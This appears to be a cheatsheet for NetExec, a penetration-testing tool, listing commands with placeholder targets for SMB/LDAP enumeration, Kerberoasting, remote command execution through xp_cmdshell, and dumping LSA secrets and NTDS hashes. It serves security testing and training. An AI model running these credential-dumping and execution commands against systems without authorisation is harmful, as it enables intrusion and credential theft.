NetExec, also known as nxc
, is a powerful network hacking tool designed to automate security assessments of large-scale networks.
It builds upon the legacy of CrackMapExec, offering enhanced functionality for penetration testers, red teamers, and cybersecurity professionals. Below is a detailed cheatsheet to help you utilize NetExec effectively.
To install NetExec:
bashsudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec
netexec --version
The general syntax for NetExec commands:
bashnetexec <service> <target> -u <username> -p <password>
Example for SMB:
bashnetexec smb target -u username -p password
- Null Authentication:
netexec smb target -u '' -p ''
- Guest Authentication:
netexec smb target -u 'guest' -p ''
- Kerberos Authentication:
netexec smb target -u username -p password -k
- Basic Enumeration:
netexec smb target
- List Shares:
netexec smb target -u username -p password --shares
- List Usernames:
netexec smb target -u username -p password --users
Service-Specific Commands
SMB
- All-in-One Enumeration: bash
netexec smb target -u username -p password --groups --users --shares --sessions
- Extracting Files: bash
netexec smb target -u username -p password --get-file target_file output_file --share sharename
LDAP
- User Enumeration:
netexec ldap target -u '' -p '' --users
- Kerberoasting: bash
netexec ldap target -u username -p password --kerberoasting hash.txt
MSSQL
- Command Execution via xp_cmdshell: bash
netexec mssql target -u username -p password -x command_to_execute
FTP
- List Files:
netexec ftp target -u username -p password --ls
Credential Dumping
- Secrets Dump:
netexec smb target -u username -p password --lsa
- NTDS Extraction: bash
netexec smb target -u username -p password --ntds
Check for vulnerabilities like Zerologon or PetitPotam:
bashnetexec smb target -u username -p password -M zerologon
- Webdav Check:
netexec smb target -u username -p password -M webdav
- BloodHound Integration: bash
netexec ldap target -u username -p password --bloodhound
Explore the official NetExec Wiki and practice labs like HackTheBox’s Mist or Rebound to refine your skills.
This cheatsheet provides a quick reference to NetExec’s core functionalities, enabling efficient network enumeration, exploitation, and post-exploitation tasks.